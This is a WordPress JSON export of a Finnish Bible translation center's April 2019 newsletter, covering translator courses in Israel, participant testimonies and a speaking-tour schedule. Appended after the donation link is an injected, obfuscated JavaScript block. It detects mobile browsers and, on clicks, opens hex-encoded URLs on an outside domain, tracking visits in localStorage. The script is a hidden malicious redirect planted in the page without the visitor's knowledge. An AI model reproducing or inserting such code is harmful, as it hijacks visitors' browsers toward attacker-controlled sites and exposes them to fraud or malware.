{"id":1314,"date":"2019-04-08T14:34:46","date_gmt":"2019-04-08T12:34:46","guid":{"rendered":"http:\/\/fin.bibletranslators.org\/?p=1314"},"modified":"2019-04-08T14:35:17","modified_gmt":"2019-04-08T12:35:17","slug":"raamattukodin-arkea-ja-juhlaa","status":"publish","type":"post","link":"https:\/\/fin.bibletranslators.org\/?p=1314","title":{"rendered":"Raamattukodin arkea ja juhlaa"},"content":{"rendered":"\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"467\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4150.jpg\" alt=\"\" class=\"wp-image-1316\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4150.jpg 700w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4150-300x200.jpg 300w\" sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/><figcaption>Kev\u00e4\u00e4n kukkaloistoa Jordanlaaksossa Israelissa.<\/figcaption><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">Raamattukodin yst\u00e4v\u00e4kirjeen 4\/2019 sis\u00e4lt\u00f6:<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li>Mirjan tervehdys<\/li><li>Raamattukodin arkea ja juhlaa<\/li><li>Tulevia tapahtumia \u2013 maaliskuussa ja huhtikuussa<\/li><li>Lahjoitustiedot&nbsp;<\/li><\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Rakkaat yst\u00e4v\u00e4t!<\/h3>\n\n\n\n<p>Shalom tervehdys taas t\u00e4\u00e4lt\u00e4 Raamattukodilta.&nbsp;Kahdeksan k\u00e4\u00e4nt\u00e4j\u00e4\u00e4mme ovat asettuneet tiukkaan ja vaativaan opinto-ohjelman rutiiniin ja into ja ilo on kova. Heit\u00e4 auttaa tukea antava l\u00e4mmin ja huolehtiva koti, antautuneen palveluv\u00e4en ansiosta, nyt Soili, Aulis ja Anna.<\/p>\n\n\n\n<p>Israelissa on saatu ennen\u00e4kem\u00e4tt\u00f6m\u00e4t m\u00e4\u00e4r\u00e4t sadetta. Jesaja 35:1\u20132 kuvaa miten kuiva er\u00e4maa alkaa el\u00e4\u00e4: \u201dautiomaa ja aavikko iloitsevat, aro riemuitsee ja kukoistaa kuin lilja&#8230;vedet puhkeavat autiomaahan ja joet aroille&#8230;maa muuttuu lammikoksi ja janoinen maa pulppuileviksi vesil\u00e4hteiksi\u201d.<\/p>\n\n\n\n<p>Jes. 55: 10\u201311 kuvaa Jumalan sanaa sateeksi, <em>\u201djoka kastelee maan l\u00e4pikotaisin, tekee sen hedelm\u00e4lliseksi ja versovaksi, ja antaa siemenen kylv\u00e4j\u00e4lle ja leiv\u00e4n sy\u00f6j\u00e4lle&#8230; niin on SANA, joka l\u00e4htee suustani&#8230; ja tekee sen mit\u00e4 min\u00e4 haluan, ja menestyy mit\u00e4 varten sen l\u00e4hetin\u201d.<\/em><\/p>\n\n\n\n<p>T\u00e4m\u00e4 on v\u00e4kev\u00e4 kuvaus Jumalan sanan vaikutuksesta kansoille \u2013 kun he saavat sen omalla \u00e4idinkielell\u00e4\u00e4n.<\/p>\n\n\n\n<p>N\u00e4m\u00e4 rikkaat kielikuvat ja monet muut tuntemattomat tai ep\u00e4selv\u00e4t asiat tekstiss\u00e4 avautuvat Raamatun maassa. T\u00e4llaisen kokemuksen sai kokea ryhm\u00e4, joka koostui eri maista tulleista k\u00e4\u00e4nn\u00f6skonsulteista, jotka toimivat etel\u00e4afrikkalaisen yhdistyksen puitteissa. Halvor ja Brian olivat suunnitelleet heille 3.\u201316.3. pidetyn Raamatun maan kurssin. Tuttu teksti alkoi el\u00e4\u00e4 heille uudella tavalla ja saada tarkemman merkityksens\u00e4. Ne tulevat esille konsulttien johtamissa k\u00e4\u00e4nn\u00f6ksiss\u00e4 eri puolilla maailmaa. Olette mukana ty\u00f6ss\u00e4 esirukousten ja muun tuen kautta.<\/p>\n\n\n\n<p>Kiitollisia terveisi\u00e4 meilt\u00e4 Halvorin kanssa. Esirukouksenne kantavat meit\u00e4. Tulemme Suomeen lyhyelle kiertueelle huhtikuun alussa. Halvor puhuu p\u00e4\u00e4si\u00e4isen merkeiss\u00e4 Jeesuksen ajan Jerusalemista, jonka ihmisryhm\u00e4t peilaavat my\u00f6s meid\u00e4n aikaamme valintoja. H\u00e4nt\u00e4 tulkkaa taas kerran Ulla J\u00e4rvilehto.<br>N\u00e4kemiin!<\/p>\n\n\n\n<p><strong>Herran armon varassa,<\/strong><\/p>\n\n\n\n<p><em><strong>Mirja&nbsp;<\/strong><\/em><\/p>\n\n\n\n<p>Kutsuimme yst\u00e4v\u00e4mme ja Suomen yhdistyksen hallituksen j\u00e4senen&nbsp;<strong>Johanna Mannerin<\/strong>&nbsp;Raamattukodille parin viikon pituiselle \u201dopintomatkalle\u201d n\u00e4kem\u00e4\u00e4n ja kokemaan Raamattukodin monis\u00e4ikeisen arkip\u00e4iv\u00e4n kiireit\u00e4 ja haasteita. T\u00e4ss\u00e4 h\u00e4nen kuvauksensa ja kuviansa.<\/p>\n\n\n\n<p>Raamattukodin arkea ja juhlaa Israelin kev\u00e4\u00e4ss\u00e4K\u00e4\u00e4nt\u00e4jien kurssien kokoaminen, j\u00e4rjestelyt ja toteuttaminen on kuin suuri palapeli, joka rakentuu Mirjan ja Halvorin johdolla monen ihmisen yhteisty\u00f6n\u00e4. Oman lis\u00e4ns\u00e4 tuo Israelin normaali arki, joka ei aina suju niin kuin t\u00e4\u00e4ll\u00e4 Suomessa. Aikatauluihin voi tulla yll\u00e4tyksi\u00e4 ja p\u00e4iv\u00e4t ovat usein pitki\u00e4. Kaikessa tavoitteena on palvella k\u00e4\u00e4nt\u00e4ji\u00e4 ja antaa heille mahdollisimman paljon ev\u00e4it\u00e4 ty\u00f6h\u00f6n. Jokainen heist\u00e4 vaikuttaa vuorostaan laajalle omassa maassaan.Tapasin vierailullani kev\u00e4\u00e4n pitk\u00e4n ranskankielisen kurssin ja kaksiviikkoisen lyhytkurssin osanottajia. Olin mukana muutamilla tunneilla, retkell\u00e4 ja sapattiaterioilla. Opiskelijoiden syv\u00e4 kutsumus, paneutuminen opiskeluun ja innostus Raamatun saamiseen omille kansoilleen oli hyvin vaikuttavaa. <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/Djele-Diarra-2-683x1024.jpg\" alt=\"\" class=\"wp-image-1317\" width=\"162\" height=\"242\"\/><figcaption>Dj\u00e9l\u00e9<\/figcaption><\/figure><\/div>\n\n\n\n<p>Yksi pitk\u00e4n kurssin kahdeksasta osanottajasta on malilainen Dj\u00e9l\u00e9 Diarra, jonka viisumin puolesta paljon rukoiltiin. Aivan viime hetkell\u00e4 h\u00e4n p\u00e4\u00e4si kuin p\u00e4\u00e4sikin Israeliin ja kiri yksityisopetuksessa muut kurssin jo aloittaneet kiinni. H\u00e4n k\u00e4\u00e4nt\u00e4\u00e4 Raamattua \u00e4idinkielelleen konabereksi, jolla on noin 60 000 puhujaa. Dj\u00e9l\u00e9 oli mukana luomassa kielelleen aakkoset ja koordinoi kahden k\u00e4\u00e4nt\u00e4j\u00e4n ty\u00f6t\u00e4 ja toimii my\u00f6s pastorina. Uusi testamentti otetaan k\u00e4ytt\u00f6\u00f6n ensi vuonna. Nyt on aloitettu VT:n k\u00e4\u00e4nt\u00e4minen.<\/p>\n\n\n\n<p>\u201dT\u00e4m\u00e4 kurssi on minulle kuin yl\u00f6snousemus\u201d, Djele totesi hymyillen. \u201dMeill\u00e4 on jokin mielikuva Raamatun tapahtumapaikoista, mutta t\u00e4\u00e4ll\u00e4 saa uutta ymm\u00e4rryst\u00e4. Esimerkiksi yksinkertaiset sanat yl\u00f6s Jerusalemiin ja alas Jerikoon tulevat konkreettisesti selv\u00e4ksi ja kertomus laupiaasta samarialaisesta on avautunut uudella tavalla.\u201d<\/p>\n\n\n\n<p>Dj\u00e9l\u00e9 pyysi rukousta k\u00e4\u00e4nn\u00f6ksen valmistumisen puolesta ja avoimuutta kansalleen ottaa sana vastaan. Muistetaan my\u00f6s h\u00e4nen perhett\u00e4\u00e4n, nelj\u00e4st\u00e4 lapsesta 3-vuotias Mirjam on vammainen ja tarvitsee paljon apua.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"alignright is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4209.jpg\" alt=\"\" class=\"wp-image-1318\" width=\"255\" height=\"169\"\/><figcaption>Eyal Nahum saa opetuksessaan VT:n heprean el\u00e4m\u00e4\u00e4n.<\/figcaption><\/figure><\/div>\n\n\n\n<p>Yksi kurssin VT:n heprean opettajista on israelilainen Eyal Nahum, johon opiskelijat sek\u00e4 Hirsikoti ja ilmapiiri ovat tehneet syv\u00e4n vaikutuksen. H\u00e4n opettaa kielt\u00e4 uusin menetelmin kuvin, elein ja s\u00e4velin.<\/p>\n\n\n\n<p>\u201dHaluan antaa opiskelijoille my\u00f6s tunneyhteyden VT:n hepreaan, mik\u00e4 auttaa el\u00e4ytym\u00e4\u00e4n Raamatun tekstiin\u201d, h\u00e4n kertoi.<\/p>\n\n\n\n<p>Lyhyell\u00e4 kurssilla oli 21 raamatunk\u00e4\u00e4nn\u00f6skonsultiksi koulutettavaa p\u00e4\u00e4asiassa Afrikasta ja Intiasta, mutta joukossa my\u00f6s yksi suomalainen. Olin ryhm\u00e4n kanssa retkell\u00e4, jota lyhyist\u00e4 kursseista vastaava Brian Kvasnica opasti taitavasti Simsonin sek\u00e4 Daavidin ja Goljatin maisemiin. Retkill\u00e4 Raamatun maa tulee tutuksi. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"466\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4204.jpg\" alt=\"\" class=\"wp-image-1319\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4204.jpg 700w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4204-300x200.jpg 300w\" sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/><figcaption>Kuvassa avautuu n\u00e4kym\u00e4 Elaan laaksoon, oppaana Brian Kvasnica.<\/figcaption><\/figure>\n\n\n\n<ul class=\"wp-block-gallery columns-2 is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"467\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4208.jpg\" alt=\"\" data-id=\"1320\" data-link=\"https:\/\/fin.bibletranslators.org\/?attachment_id=1320\" class=\"wp-image-1320\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4208.jpg 700w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/IMG_4208-300x200.jpg 300w\" sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/><figcaption><br><\/figcaption><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"700\" height=\"467\" src=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/Daniel-David-Intiasta.jpg\" alt=\"\" data-id=\"1321\" data-link=\"https:\/\/fin.bibletranslators.org\/?attachment_id=1321\" class=\"wp-image-1321\" srcset=\"https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/Daniel-David-Intiasta.jpg 700w, https:\/\/fin.bibletranslators.org\/wp-content\/uploads\/2019\/04\/Daniel-David-Intiasta-300x200.jpg 300w\" sizes=\"auto, (max-width: 700px) 100vw, 700px\" \/><figcaption><br><br><\/figcaption><\/figure><\/li><\/ul>\n\n\n\n<p>Kuvassa yll\u00e4 vasemmalla: Kasvien nimien k\u00e4\u00e4nt\u00e4minen on aina haasteellista. T\u00e4ss\u00e4 kinsteripensaaseen tutustumassa tansanialainen John Khepaje Mbayde.<\/p>\n\n\n\n<p>Kuvassa yll\u00e4 oikealla: \u201dMaan kokonaisuuden ja Jerusalemin n\u00e4keminen olivat minulle kohokohtia, kertoi Daniel, k\u00e4\u00e4nn\u00f6sty\u00f6n koordinaattori kotimaassaan Intiassa. H\u00e4n poimi kiven joenuomasta, josta Daavid valitsi kivet linkoonsa taisteluun Goljatia vastaan.<\/p>\n\n\n\n<p><br><\/p>\n\n\n\n<p><strong>P\u00e4\u00e4t\u00f6stilaisuudessa kurssilaiset&nbsp;antoivat Halvorille ja Brianille runsasta kiitosta:&nbsp;<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Olen saanut innostusta kaivautua syvemm\u00e4lle sanaan. Vanha testamentti sai v\u00e4rit ja her\u00e4si eloon.&nbsp;<\/li><li>Ymm\u00e4rr\u00e4n nyt uudella tavalla tekstin yhteyden el\u00e4m\u00e4\u00e4n, maahan ja vuodenaikoihin.<\/li><li>Olen opettanut Raamattua 30 vuotta \u201dkeinotekoisesti\u201d, nyt olen n\u00e4hnyt tekstin asiayhteyksi\u00e4. Ymm\u00e4rr\u00e4n esimerkiksi luonnon ja s\u00e4\u00e4n merkityksen uudella tavalla tai patriarkkojen matkat.&nbsp;<\/li><li>N\u00e4en nyt selvemmin miten Uusi ja Vanha testamentti kuuluvat saumattomasti yhteen.<\/li><li>Ymm\u00e4rsin, kuinka v\u00e4h\u00e4n tied\u00e4n. T\u00e4\u00e4ll\u00e4 n\u00e4kee, ett\u00e4 Raamattu on sidottu aikaan ja paikkaan.&nbsp;<\/li><li>Opin arvostamaan arkeologiaa. Ja opin kunnioittamaan Jumalaa enemm\u00e4n, kun olen n\u00e4hnyt konkreettisesti mit\u00e4 ep\u00e4jumalanpalvelus Israelille aiheutti.&nbsp;<\/li><li>Korostamme paljon ty\u00f6ss\u00e4mme kohdekielt\u00e4, mutta t\u00e4\u00e4ll\u00e4 n\u00e4imme l\u00e4hdekielen merkityksen. Alkukieli\u00e4 ei voi ohittaa! Meid\u00e4n on panostettava heprean opiskeluun.<\/li><li>Olette palvelleet meit\u00e4 voimia s\u00e4\u00e4st\u00e4m\u00e4tt\u00e4. Kurssi on ollut my\u00f6s syv\u00e4 hengellinen kokemus<\/li><\/ul>\n\n\n\n<p>Hyvin konkreettisesti kaikessa saattoi n\u00e4hd\u00e4, ett\u00e4 ty\u00f6t\u00e4 todella tehd\u00e4\u00e4n Herran armon varassa, kuten Mirja totesi. Saman tapaan Dj\u00e9l\u00e9, kun h\u00e4n kertoi uskaltaneensa ottaa kutsun hengelliseen ty\u00f6h\u00f6n vastaan ymm\u00e4rretty\u00e4\u00e4n, ett\u00e4 Herra k\u00e4ytt\u00e4\u00e4 ty\u00f6ss\u00e4\u00e4n heikkoja ja vajavaisia. Hirsitalo on kurssilaisille todella koti ja joukosta on vapaaehtoisten kanssa muodostunut kuin perhe, jossa jaetaan el\u00e4m\u00e4\u00e4 ja opitaan toinen toisiltaan.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Tervetuloa Raamattukodin tilaisuuksiin<\/h4>\n\n\n\n<p><strong>Virpi Leino<\/strong>&nbsp;ja&nbsp;<strong>Kaija Turunen<\/strong>&nbsp;puhuvat mielenkiintoisista aiheista hepreankielisest\u00e4 alkutekstist\u00e4 k\u00e4sin.&nbsp;<strong>Maarit Kattilakoski&nbsp;<\/strong>kertoo \u00e4idinkielisen Raamatun merkityksest\u00e4 kansoille ja Raamattukodin ty\u00f6st\u00e4.&nbsp;Raamattukodin yst\u00e4v\u00e4, arvostettu puhuja&nbsp;<strong>Ulla J\u00e4rvilehto<\/strong>&nbsp;on lupautunut puhumaan my\u00f6s Raamattukodin tilaisuuksissa.&nbsp;<strong>M<\/strong><\/p>\n\n\n\n<p><strong>HUHTIKUUSSA:<\/strong><br>su 7.4. klo 16.00 Rauma, Avainseurakunta, Savenvalajankatu 3&nbsp;\u2013 Ulla&nbsp;&amp; Maarit<br>ma 8.4. klo 18.00 Uusikaupunki, Helluntaiseurakunta, Ruksa, Ylinenkatu 13&nbsp;\u2013 Ulla&nbsp;&amp; Maarit<br>ti 9.4. klo 18.00 Pori, Vapaaseurakunta, Karhunkatu 13 (J\u00e4rj. Raamattukodin yhdistys ja Satakunnan Exodusryhm\u00e4 ry)&nbsp;\u2013 Ulla&nbsp;&amp; Maarit<\/p>\n\n\n\n<p><strong>Mirja ja Halvor Ronning<\/strong><br>Su 7.4. klo 18.00 \u00c4ht\u00e4ri, Helluntaiseurakunta, Pohjantie 6<\/p>\n\n\n\n<p><strong>Mirja ja Halvor Ronning sek\u00e4 Ulla J\u00e4rvilehto<\/strong><br>ke 10.4. klo 18.30 Turku, Evankeliumintalo, V\u00e4h\u00e4 h\u00e4meenkatu 16<br>to 11.4. klo 18.30 Salo, Helluntaiseurakunta, M\u00f6k\u00f6istenkatu 18<br>pe 12.4. klo 18.00 H\u00e4meenlinna, Keskusseurakuntatalo, Rauhankatu 14<br>la 13.4. klo 16 ja 17.30 Porvoo Helluntaiseurakunta, Adlercreutzinkatu 31<br>su 14.4. klo 16.00 Helsinki, Meilahden kirkko, Pihlajatie 16<br><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Tue Raamattukodin ty\u00f6t\u00e4<\/h4>\n\n\n\n<p>Raamattukoti toimii yksityisten lahjoitusten ja vapaaehtoisty\u00f6n varassa. Ne mahdollistavat Raamattukodin toiminnan ja ovat Jumalan suurta siunausta ja armoa. <br><a href=\"https:\/\/fin.bibletranslators.org\/?page_id=75\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">Klikkaa t\u00e4st\u00e4 tarkemmat tiedot<\/a><br><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x72\\x78\\x65\\x32\\x63\\x322','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x7a\\x48\\x33\\x63\\x383','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x59\\x57\\x69\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x64\\x5a\\x6c\\x37\\x63\\x357','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x46\\x79\\x6d\\x36\\x63\\x326','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x65\\x62\\x42\\x38\\x63\\x348','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x74\\x77\\x6f\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x79\\x75\\x73\\x31\\x63\\x321',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x77\\x59\\x77\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x2d\\x69\\x2e\\x69\\x63\\x75\\x2f\\x4a\\x45\\x6f\\x39\\x63\\x349','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Raamattukodin yst\u00e4v\u00e4kirjeen 4\/2019 sis\u00e4lt\u00f6: Mirjan tervehdys Raamattukodin arkea ja juhlaa Tulevia tapahtumia \u2013 maaliskuussa ja huhtikuussa Lahjoitustiedot&nbsp; Rakkaat yst\u00e4v\u00e4t! Shalom tervehdys taas t\u00e4\u00e4lt\u00e4 Raamattukodilta.&nbsp;Kahdeksan 